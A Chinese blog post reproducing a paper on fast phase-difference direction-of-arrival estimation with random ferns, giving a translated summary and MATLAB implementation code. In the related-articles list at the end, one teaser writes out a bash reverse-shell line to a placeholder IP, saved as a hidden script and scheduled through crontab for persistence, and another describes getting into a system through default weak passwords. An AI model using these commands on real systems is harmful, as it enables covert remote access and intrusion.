论文复现---基于随机蕨的快速相位差DOA估计

       本篇文章是博主在通信等领域学习时,用于个人学习、研究或者欣赏使用,并基于博主对通信等领域的一些理解而记录的学习摘录和笔记,若有不当和侵权之处,指出后将会立即改正,还望谅解。文章分类在通信领域笔记

       通信领域笔记(9)---论文复现---基于随机蕨的快速相位差DOA估计》

论文复现---基于随机蕨的快速相位差DOA估计

论文出处:

  • 题目:《FAST PHASE-DIFFERENCE-BASED DOA ESTIMATION USING RANDOM FERNS
  • 作者:Hui Chen, Tarig Ballal and Tareq Y. Al-Naffouri
  • 时间:2019年Anaheim
  • 来源:IEEE Global Conference on Signal and Information Processing

基于随机蕨的快速相位差DOA估计

摘要

        信号的到达方向(DOA)信息在通信、定位、目标跟踪等方面具有重要意义。基于频域的时延估计能够在子样本精度下获得DOA;然而,它受到相位包裹问题的困扰。本文提出了一种基于频率分集的方法来克服相位包裹问题。受机器学习技术的随机蕨启发,提出了一种加快搜索过程的算法。通过仿真和实验测试,基于三种不同的信号模型对算法的性能进行了评估。结果表明,在保持相同精度的情况下,使用随机蕨可以将搜索时间减少到穷尽法搜索时间的1/6。该算法的DOA估计误差较低,优于基于频分集的基准算法。

        关键词:到达方向,随机蕨,机器学习,超声波,相位差


1 引言

        在无线传感器网络定位[1]、通信[2]、声学事件检测[3]、室内定位[4]、手势识别[5]等许多应用中,了解目标的方向是必不可少的。

        DOA估计方法的目的是估计多个空间分离的接收机观测到的信号的到达方向。关键DOA估计器的摘要可以在[6]中找到。基于时延的DOA估计[7]是一种应用广泛的方法。时间延迟可以在频域或时域测量。基于频率的时延估计具有提供子样本时延分辨率[8][9]的优点。但是,如果接收机分离较大,就会出现相位包裹问题。这个问题可以通过利用来自多个传感器的观测数据的基于空间分集的算法[10]或使用宽信号带宽的基于频率分集的算法[8]来解决。

        在本文中,考虑了一个单源场景,其目标是使用一对传感器估计1-D角度。通过使用一个或多个非共线接收器,这种设置可以很容易地扩展到二维DOA估计情况。为了估计DOA,提出了一种穷举网格搜索方法。提出的方法旨在找到使观测到的(通常是包裹的)相位差与基于假设的源方向计算的相位差之间的不匹配最小化的源方向。为了降低计算复杂度和加快搜索操作,利用机器学习的工具,将DOA估计视为模式识别问题。提出了一种基于随机蕨[11][12]分类方法的DOA估计算法。所提出的算法旨在通过利用不匹配的结构作为假设源方向的函数,快速找到源方向的估计。

        本文的贡献有:

                a)一种解决相位展开问题的多频DOA估计网格搜索方法;

                b)通过采用随机蕨实现搜索过程的快速算法;

                c)使用三种类型的信号进行模拟和实验测试的综合性能评估。

        本文的组织结构如下。第二节阐述了使用多频相位差的DOA估计问题,并解释了如何使用随机蕨的思想加快网格搜索方法。第三节描述了信号模型和实验设置,并讨论了仿真和实验结果。在第五节中,得出了整个工作的结论,并对未来的方向提出了建议。


2 基于随机蕨的DOA估计

        公式不便编写成博客,完整的翻译论文请在文章末尾获取


3 模拟和实验测试

3.1 信号模型

考虑三种不同的多频信号模型。OFH(正交频率跳变)信号在一组载波频率之间跳,由于其对多径和噪声的鲁棒性而被广泛应用于通信和测距领域。OFS(正交频率和)信号的设计类似于OFDM[14],将不同载波频率的正弦信号组合在一起。ZC (Zadoff-Chu)序列是一个多相复值零自相关序列[15]和信号的设计可以在[16]中找到。

该算法在OFH、OFS和ZC信号上进行了测试。为了在信号之间进行公平的比较,选择参数以确保不同信号具有相同的持续时间后是的静默期)、带宽()和能量。


  公式不便编写成博客,完整的翻译论文请在文章末尾获取


3.3. 实验

3.3.1 实验设置

        实验测试在典型的室内环境中进行,室内温度为24度。两个接收器之间的距离为1.8cm。发射机和接收机放置在离地面1.5m的地方,相距2m。发射机位于6个不同的DOAs,SNR固定。地面真值由带有无源标记的ART-TRACK5[17]红外光学6-DOF(自由度)系统获得。该系统的定位分辨率为0.1mm,更新速率为300Hz。

3.3.2 实验结果

        实验结果受到多径效应、校准误差等不同因素的影响。这些影响可能会导致模拟结果中不存在的异常值和其他现象。因此,为了限制这些效应的影响,一个有意义的性能评估是估算误差低于一定程度的情况所占的百分比。2度误差被选为基准点。

        图6给出了本文方法和基准方法在不同DOA选择下的性能。在每个DOA进行500次实验评估,

SNR=0dB。在所有信号类型上,所提出的方法明显优于基准方法[8]。

图6 不同DOAs源的实验结果


4 结论

        提出了一种基于相位差观测值的DOA估计算法。该算法采用随机蕨的机器学习方法,与穷举搜索相比,在保持相同精度的情况下,将计算速度提高了6倍。使用三种不同的类型对提出的算法进行了测试。仿真和实验结果证实了所提方法的有效性。未来的工作将重点研究多普勒、多径和多用户干扰的影响。


5 MATLAB实现

主函数main_random_ferns.m

% 基于随机蕨的快速相位差DOA估计
% 最后修订日期:2024-05-10
close all;
clear;
clc;
%% 相位差计算
s1 = [0.8839 0];     % 传感器1在二维平面上的位置
s2 = [-0.8839 0];    % 传感器2在二维平面上的位置
d = norm(s1-s2);    % 两个传感器之间的距离
distance = 1000;    % 假设远场模型的百分比
v_speed = 343;      % 音速
fs = 192000;        % 采样频率
nfft = 1024;
F = 0:fs/nfft:(fs-fs/nfft);     % FFT后的频率轴
freq = F([102 108 113 118]);    % 载波频率
interval = 1;
ang_range = -89:interval:90;    % 搜索从-89到90的间隔
phi = zeros(1,length(freq));
phase_all = [];     % 在ang_range内所有角度的相位差
for i = 1:length(ang_range)
    angle0 = ang_range(i);
    td = -sin(angle0/180*pi)*d; % 到达时差
    phi =  2*pi*td/100./(v_speed./freq);
    phi = wrapping(phi);
    phase_all = [phase_all; phi];
end
size(phase_all)                 % 按频率搜索角度
%% 创建error_table
error_table = [];
error = zeros(size(ang_range));
for num = 1:length(ang_range)
    phase = phase_all(num,:);
    for x = 1:length(ang_range)
        diff_phase = phase_all(x,:);
        m = length(diff_phase);
        error_temp = wrapping(diff_phase - phase);
        error(x) = sum(abs(error_temp));
    end
    error_table = [error_table; error];
end
figure;plot(ang_range,error_table(35+90,:));    % 35度时的误差表
title('基于搜索的DOA估计 [\theta = 35]')
xlabel('搜索角度');ylabel('误差');
%% 蕨类矩阵创建
fern_num = 5;
fern_point = [47   -29     7   -69    -4] + 90;
rn = combnk(fern_point,2);  % 创建所有可能的组合
r1 = rn(:,1);
r2 = rn(:,2);
bin = zeros(1,2^10);
fern_mat = [];
result = zeros(1,length(ang_range));

searching_area = 180;

for i = 1:length(ang_range)
    value = sign(error_table(i + (180-searching_area)/2,r1)-error_table(i + (180-searching_area)/2,r2)+0.001);
    result(i) = (value+1)/2*fliplr(2.^(0:9))';
    bin(1+result(i)) = bin(1+result(i)) + 1;
    fern_mat = [fern_mat ;value];
end
% size(fern_mat)
figure;plot(bin);
xlabel('聚类索引');ylabel('聚类元素个数');

max(bin)
sum(bin)/length(nonzeros(bin));

figure;plot(ang_range,error_table(71,:))
hold on;plot(fern_point-90,error_table(71,fern_point),'r*')
% value = sign(error_table(91,r1)-error_table(91,r2)+0.001);
title('基于搜索的DOA估计')
xlabel('水平角度theta');ylabel('误差');

% save fern_raw.mat r1 r2 fern_mat raw_phase
% save fern_vec.mat r1 r2 fern_mat vec_phase

%% 误差表检验
test_num = -33 + 90;
result0 = error_table(test_num,r1)-error_table(test_num,r2);
value0 = sign(result0);

for i = 1:180
    value = sign(error_table(i,r1)-error_table(i,r2));
    result(i) = value0*value';
end
figure;plot(ang_range,(result));
title('角度的模式识别');
xlabel('候选角度值[度]');ylabel('交叉相关值');
temp = find(result==10)-90;
% error_table(76,(find(result==10)-71+90))
% figure;plot(error_table(76,:))
%% 测试DOA算法
angle_real = -55.5;              
td = -sin(angle_real/180*pi)*d;
phi_obs =  2*pi*td/100./(v_speed./freq);
    
noise = 0.01;   % 噪声的标准偏差
phi_obs = phi_obs + randn(size(phi_obs))*noise;
phase_test = wrapping(phi_obs);

angle_est = alg_doa_fern(phase_test,r1,r2,fern_mat, phase_all);

disp(['预估角度为', num2str(angle_est,'%2.2f'), '[deg] | error = ', ...
    num2str(abs(angle_real-angle_est),'%2.2f'), '[deg]']);
%% 额外部分:最佳蕨类选择试验
e = [];
r_all = [];
range_max = 140;
fern_points = 5;
error_table_n = error_table(90-floor(range_max/2)+1:90+floor(range_max/2),:);
for sel_i = 1:100
    fern_point = randperm(range_max,fern_points);
    rn = combnk(fern_point,2);
    fern_num = length(rn(:,1));
    r1 = rn(:,1);
    r2 = rn(:,2);
    bin = zeros(1,2^fern_num);
    fern_mat = [];
    value = [];
    for i = 1:range_max
        value = sign(error_table_n(i,r1)-error_table_n(i,r2)+0.001);
        result(i) = (value+1)/2*fliplr(2.^(0:fern_num-1))';
        bin(1+result(i)) = bin(1+result(i)) + 1;
        fern_mat = [fern_mat ;value];
end
% size(fern_mat)
% figure;plot(bin);
p = bin/sum(bin);
entropy = - sum(nonzeros(p).*log2(nonzeros(p))) / ceil(log2(length(p)));
e(sel_i) = entropy;
r_all = [r_all; fern_point];
% save fern.mat r1 r2 fern_mat
end
% r_all(37,:)
figure;plot(e);xlabel('仿真时间');ylabel('效率')
%% 可视化选定的蕨类
[a1 a2] = max(e);
a1
fern_point = r_all(a2,:);
rn = combnk(fern_point,2);
r1 = rn(:,1);
r2 = rn(:,2);
bin = zeros(1,2^fern_num);
fern_mat = [];
value = [];
for i = 1:range_max
    value = sign(error_table_n(i,r1)-error_table_n(i,r2)+0.001);
    result(i) = (value+1)/2*fliplr(2.^(0:fern_num-1))';
    bin(1+result(i)) = bin(1+result(i)) + 1;
    fern_mat = [fern_mat ;value];
end
% size(fern_mat)
figure;plot(bin);
length(value)
a1;
length(bin)
length(nonzeros(bin))
max(bin)
sum(bin)/length(nonzeros(bin))

其他函数:wrapping.m;alg_doa_fern.m

function output = wrapping(input)
    output = mod(input+pi,2*pi)-pi;
end
% Random ferns doa algorithm

function output = alg_doa_fern(phase_test,r1,r2,fern_mat,phase_all)
    area = 90;
    fern_ind = unique([r1 r2]);
    error = zeros(1,180) + 500;

    for row = 1:length(fern_ind)
        error_temp = wrapping(phase_all(fern_ind(row),:)-phase_test);
        error(fern_ind(row)) = sum(abs(error_temp));
    end
    value = sign(error(r1)-error(r2)+0.001);
    v2 = [zeros(1,90-area) value*fern_mat(90-area+1:90+area,:)'];
    candidate = find(v2>=length(fern_mat(1,:)));
    if(isempty(candidate))
        candidate = find(v2>=length(fern_mat(1,:))-2);
        if(isempty(candidate))
            candidate = 90;
        end
    end

    for row = 1:length(candidate)
        current = candidate(row);
        error_temp = wrapping(phase_all(current,:) - phase_test); 
        error(candidate(row)) = sum(abs(error_temp'));
    end

    [~, a2] = min(error);
    if(a2~=1 && a2 ~= length(phase_all)) 
        error_temp = wrapping(phase_all(a2-1:a2+1,:) - repmat(phase_test,3,1));
        error(a2-1:a2+1) = sum(abs(error_temp'));
        xc = [a2-1 error(a2-1);a2 error(a2);a2+1 error(a2+1)];
        xc2 = 0.5*(xc(3,2)-xc(1,2))/(2*xc(2,2)-xc(3,2)-xc(1,2));
        output = (a2)-90 + xc2;
    end
end

6 部分运行结果

        由于论文中公式很多,不便于博客展示,将原文、译文,实现程序放在下面,需要自取:

论文复现-基于随机蕨的快速相位差DOA估计

        如果获取上述方式获取不到资源,请在评论区发表自己的邮箱地址(私信不回复),看到后会尽快发送给你。


     文章若有不当和不正确之处,还望理解与指出。由于部分文字、图片等来源于互联网,无法核实真实出处,如涉及相关争议,请联系博主删除。如有错误、疑问和侵权,欢迎评论留言联系作者,或者私信联系作者。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/762722.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

#笔记# 写给自己用的小爬虫

最近完成了一个文旅行业信息聚合的小应用,实现仅从一个入口了解全行业的信息动态,不用一个一个翻看各网站,节省了不少检索时间。 一、基本思路 明确数据来源。基于前述目标,确定数据源为文化和旅游部管理部门官网,比…

二维数组-----螺旋性矩阵输出

题目有点难,ok其实是很难。。。 观察样例输出,不难发现,螺旋数组中元素的递增轨迹为:右右右、下下下、左左左、上上上 简明为:右、下、左、上。可以设开始递增的元素1的位置为(x,y)&#xff0c…

如何用大模型RAG做医疗问答系统

代码参考 https://github.com/honeyandme/RAGQnASystemhttps://github.com/LongxingTan/open-retrievals TLDR if 疾病症状 in entities and 疾病 not in entities:sql_q "match (a:疾病)-[r:疾病的症状]->(b:疾病症状 {名称:%s}) return a.名称" % (entitie…

某配送平台未授权访问和弱口令(附赠nuclei默认密码验证脚本)

找到一个某src的子站,通过信息收集插件,发现ZABBIX-监控系统,可以日一下 使用谷歌搜索历史漏洞:zabbix漏洞 通过目录扫描扫描到后台,谷歌搜索一下有没有默认弱口令 成功进去了,挖洞就是这么简单 搜索文章还…

告别流失,拥抱增长!Xinstall智能邀请系统,让你的App拉新更高效

在移动互联网时代,App的推广和运营面临着诸多挑战。其中,如何有效地进行邀请拉新活动,吸引更多新用户,成为了每个运营者都需要面对的问题。今天,我们将为大家介绍一款能够帮助你轻松解决这一难题的神器——Xinstall。 …

权限维持-Linux-定时任务-Crontab后门

目录 靶机编辑后门反弹 靶机添加定时任务 攻击机监听 靶机编辑后门反弹 vim /etc/.xiaodi.sh --创建文件bash -i >& /dev/tcp/IP/998 0>&1 --反弹代码chmod x /etc/.xiaodi.sh --给执行权限 靶机添加定时任务 vim /etc/crontab */1 * * * * r…

【投稿优惠|优质会议】2024年先进技术与教育行业发展国际学术会议(ICATEID 2024)

【投稿优惠|优质会议】2024年先进技术与教育行业发展国际学术会议(ICATEID 2024) 重要信息 会议官网:http://www.icateid.com 会议地址:三亚 收录检索:EI,CPCI,CNKI,Google Scholar 投稿邮箱:culture…

2024年文化传播与对外交流国际学术会议(ICCCFE 2024)

2024年文化传播与对外交流国际学术会议(ICCCFE 2024) 2024 International Conference on Cultural Communication and Foreign Exchange(ICCCFE 2024) 会议简介: 2024年文化传播与对外交流国际学术会议(ICCCFE 2024)定…

Vue2 - 项目上线后生产环境中去除console.log的输出以及断点的解决方案

前言 当你准备将Vue.js应用程序部署到生产环境时,一个关键的优化步骤是移除代码中的所有 console.log 语句以及断点。在开发阶段,console.log 是一个非常有用的调试工具,但在生产环境中保留它们可能会影响性能和安全性。在本文中,我将向你展示如何通过使用Vue CLI 2来自动…

【TB作品】atmega16 计算器,ATMEGA16单片机,Proteus仿真

实验报告:基于ATmega16单片机的简易计算器设计 1. 实验背景 计算器是日常生活和工作中不可或缺的工具,通过按键输入即可实现基本的四则运算。通过本实验,我们将利用ATmega16单片机、矩阵键盘和LCD1602显示屏,设计并实现一个简易…

docker 部署jitsi meet

1. 部署环境: 1.1 vm 虚拟机 安装的 centos 7 1.2 centos7安装docker 和 docker-compose 2.docker命令 官网部署文档地址:(文档地址有可能失效) Self-Hosting Guide - Docker | Jitsi Meet 2.1Download and extract the late…

机器人控制系列教程之任务空间运动控制器搭建(2)

Simulink中的实例 推文《机器人控制系列教程之任务空间运动控制器搭建(1)》中,我们详细的讲解了Simulink中的taskSpaceMotionModel模块,实现的方式可以按照如下的步骤。 可以控制器模型替换为taskSpaceMotionModel模块后,该模块的输入分别为…

(1)Jupyter Notebook 下载及安装

目录 1. Jupyter Notebook是什么?2. Jupyter Notebook特征3. 应用3. 利用Google Colab安装Jupyter Notebook3.1 什么是 Colab?3.2 访问 Google Colab 1. Jupyter Notebook是什么? 百度百科: Jupyter Notebook(此前被称为 IPython …

快钱支付股东全部股权已被质押!

根据近期工商信息,第三方支付机构快钱支付清算信息有限公司(简称“快钱支付”)实际控股方快钱金融服务(上海)有限公司(简称“快钱金融”),作为出质股权标的企业,被出质给…

如何实现Action菜单

文章目录 1. 概念介绍2. 思路与方法2.1 实现思路2.2 实现方法 3. 示例代码4. 内容总结 我们在上一章回中介绍了"自定义标题栏"相关的内容,本章回中将介绍自定义Action菜单.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 我们在这里提到的…

2024年【浙江省安全员-C证】考试报名及浙江省安全员-C证考试总结

题库来源:安全生产模拟考试一点通公众号小程序 浙江省安全员-C证考试报名考前必练!安全生产模拟考试一点通每个月更新浙江省安全员-C证考试总结题目及答案!多做几遍,其实通过浙江省安全员-C证复审模拟考试很简单。 1、【多选题】…

基于CNN的股票预测方法【卷积神经网络】

基于机器学习方法的股票预测系列文章目录 一、基于强化学习DQN的股票预测【股票交易】 二、基于CNN的股票预测方法【卷积神经网络】 文章目录 基于机器学习方法的股票预测系列文章目录一、CNN建模原理二、模型搭建三、模型参数的选择(1)探究window_size…

【区块链+基础设施】珠三角征信链 | FISCO BCOS应用案例

“珠三角征信链”是中国人民银行广州分行、中国人民银行深圳市中心支行按照中国人民银行总行工作部署,积 极贯彻珠三角一体化发展、粤港澳大湾区建设等国家战略而建设的跨区域征信一体化数据中心枢纽,以 FISCO BCOS 为底链构建应用平台,并由微…

WPS图片无法居中、居中按钮无法点击(是灰色的)

在PPT中复制对象到WPS word中后,导致图片一直靠左,而无法居中 直接选中图片是错误的: 这时你会发现居中按钮无法点击(是灰色的) 正确的是选中图片的前面的部分,然后点击居中,或者Ctrl E

AI基本概念(人工智能、机器学习、深度学习)

人工智能 、 机器学习、 深度学习的概念和关系 人工智能 (Artificial Intelligence)AI- 机器展现出人类智慧机器学习 (Machine Learning) ML, 达到人工智能的方法深度学习 (Deep Learning)DL,执行机器学习的技术 从范围…